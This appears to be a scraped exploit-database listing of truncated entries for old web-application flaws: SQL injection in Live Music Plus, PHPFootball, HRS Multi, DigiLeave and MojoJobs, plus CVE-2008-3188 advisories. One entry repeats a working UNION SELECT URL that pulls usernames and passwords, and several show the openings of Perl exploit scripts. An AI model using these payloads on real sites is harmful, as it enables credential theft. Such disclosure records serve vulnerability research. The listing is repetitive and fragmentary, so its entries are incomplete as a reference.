Live Music Plus 1.1.0 (id) Remote SQL Injection Vulnerability

No description provided by source. i love abeer Remote SQL injection Vulnerability Live Music Plus v1.1.0 AuTh0r : IRAQI Email : [email protected] -: Exploite :- http://www.xxx.com/index.php?act=Singer&id=-1%20union%20select%200,concatpassword,0x3a,username,2,3,4,5+from+users/...

lmp-sql.txt

i love abeer Remote SQL injection Vulnerability Live Music Plus v1.1.0 AuTh0r : IRAQI Email : [email protected] -: Exploite :- http://www.xxx.com/index.php?act=Singer&id=-1%20union%20select%200,concatpassword,0x3a,username,2,3,4,5+from+users/ index.php?act=Singer&id=-1 UNION SELECT...

Live Music Plus 1.1.0 - 'id' SQL Injection

i love abeer Remote SQL injection Vulnerability Live Music Plus v1.1.0 AuTh0r : IRAQI Email : [email protected] -: Exploite :- http://www.xxx.com/index.php?act=Singer&id=-1%20union%20select%200,concatpassword,0x3a,username,2,3,4,5+from+users/ index.php?act=Singer&id=-1 UNION SELECT...

openSUSE libxcrypt不安全口令哈希漏洞

BUGTRAQ ID: 30301 CVECAN ID: CVE-2008-3188 openSUSE是一个易于安装SUSE Linux操作系统版本。 openSUSE使用libxcrypt库计算口令的哈希值，可以配置为使用DES、MD5或blowfish。由于libxcrypt库中的一个漏洞，即使/etc/default/passwd文件中已经配置了MD5，系统仍会忽略这个设置使用DES算法。相对较弱的算法可能有助于攻击者的暴力破解。 S.u.S.E. openSUSE 11.0 S.u.S.E. -------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Design/Logic Flaw

libxcrypt in SUSE openSUSE 11.0 uses the DES algorithm when the configuration specifies the MD5 algorithm, which makes it easier for attackers to conduct brute-force attacks against hashed passwords...

CVE-2008-3188

libxcrypt in SUSE openSUSE 11.0 uses the DES algorithm when the configuration specifies the MD5 algorithm, which makes it easier for attackers to conduct brute-force attacks against hashed passwords...

CVE-2008-3188

CVE-2008-3188 concerns libxcrypt in SUSE openSUSE 11.0. The root cause is that when the MD5 password-hash setting is configured, libxcrypt still uses DES, enabling easier brute-force attacks on hashed passwords. This vulnerability affects openSUSE 11.0 where MD5 is configured but DES is used inst...

CVE-2008-3188

libxcrypt in SUSE openSUSE 11.0 uses the DES algorithm when the configuration specifies the MD5 algorithm, which makes it easier for attackers to conduct brute-force attacks against hashed passwords...

CVE-2008-3188

libxcrypt in SUSE openSUSE 11.0 uses the DES algorithm when the configuration specifies the MD5 algorithm, which makes it easier for attackers to conduct brute-force attacks against hashed passwords...

HRS Multi (picture_pic_bv.asp key) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================== HRS Multi picturepicbv.asp key Blind SQL Injection Exploit ============================================================== !/usr/bin/perl use LWP::UserAgent; use Getopt::Long;...

HRS Multi - 'key' Blind SQL Injection

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " Viva IslaMe Viva IslaMe \n"; print " HRS Multi Blind SQL Injection Exploit \n"; print " picturepicbv.asp key \n"; print " Author: Mr.SQL \n"; print " EMAIL : [email protected] \n"; print " \n"; print " -::...

phpfootball-sql.txt

Viva IslaM Viva IslaM Remote SQL injection Vulnerability PHPFootball 1.6 show.php dbtable AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM && WwW.AtsDp.CoM/f Email : [email protected] SYRIAN Arab HACkErS -: Exploite :-...

DigiLeave 1.2 (info_book.asp book_id) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================= DigiLeave 1.2 infobook.asp bookid Blind SQL Injection Exploit ================================================================= !/usr/bin/perl use LWP::UserAgent; use...

MojoJobs (mojoJobs.cgi mojo) Blind SQL Injection Exploit

Exploit for cgi platform in category web applications ======================================================== MojoJobs mojoJobs.cgi mojo Blind SQL Injection Exploit ======================================================== !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"...

PHPFootball 1.6 (show.php) Remote SQL Injection Vulnerability

Exploit for unknown platform in category web applications ============================================================= PHPFootball 1.6 show.php Remote SQL Injection Vulnerability ============================================================= Viva IslaM Viva IslaM Remote SQL injection Vulnerabilit...

PHPFootball 1.6 - SQL Injection

Viva IslaM Viva IslaM Remote SQL injection Vulnerability PHPFootball 1.6 show.php dbtable AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM && WwW.AtsDp.CoM/f Email : [email protected] SYRIAN Arab HACkErS -: Exploite :-...

PHPFootball 1.6 - SQL Injection

PHPFootball 1.6 - SQL Injection Viva IslaM Viva IslaM Remote SQL injection Vulnerability PHPFootball 1.6 show.php dbtable AuTh0r : Mr.SQL H0ME : WwW.PaL-HaCkEr.CoM && WwW.AtsDp.CoM/f Email : [email protected] SYRIAN Arab HACkErS -: Exploite :-...

S/Key和OPIE数据库漏洞

在使用S/Key或OPIE认证的服务器上存在一个安全漏洞。这个漏洞允许本地用户获得对S/Key或OPIE数据库的访问权。 S/Key是使用一次性口令技术的认证机制。系统管理员可以进行配置，使用户能够通过S/Key认证访问使用login8的任何服务，如Telnet和FTP。制定认证类型的配置文件是/etc/login.conf。 为了配置一个用户能够使用S/Key，管理员或该用户（如果程序是suid root）首先必须使用skeyinit（或keyinit）程序。这个程序初始化S/Key数据库（/etc/skeykeys）中的用户入口项。这个数据库文件包含输入S/Key口令时需要比较的信息...

jsite-sqllfi.txt

--==+================================================================================+==-- --==+ jSite 1.0 OE Multiple Remote SQL/LFI Vulnerbility +==-- --==+================================================================================+==-- -=-=--=-=-=-=-=-=-=-=-=-=-=-=-= SQL Injection Exploit...

maianmusic-cookie.txt

Author: Saime Date: July 12, 2008 Script: Maian Music v1.0 Insecure Cookie Handling Vulnerability URL: http://www.maianscriptworld.co.uk Dork: Maian Music v1.0. Copyright © 2007-2008 Maian Script World. All Rights Reserved. Description: Maian Music v1.0 is suffering from insecure cookie handling,...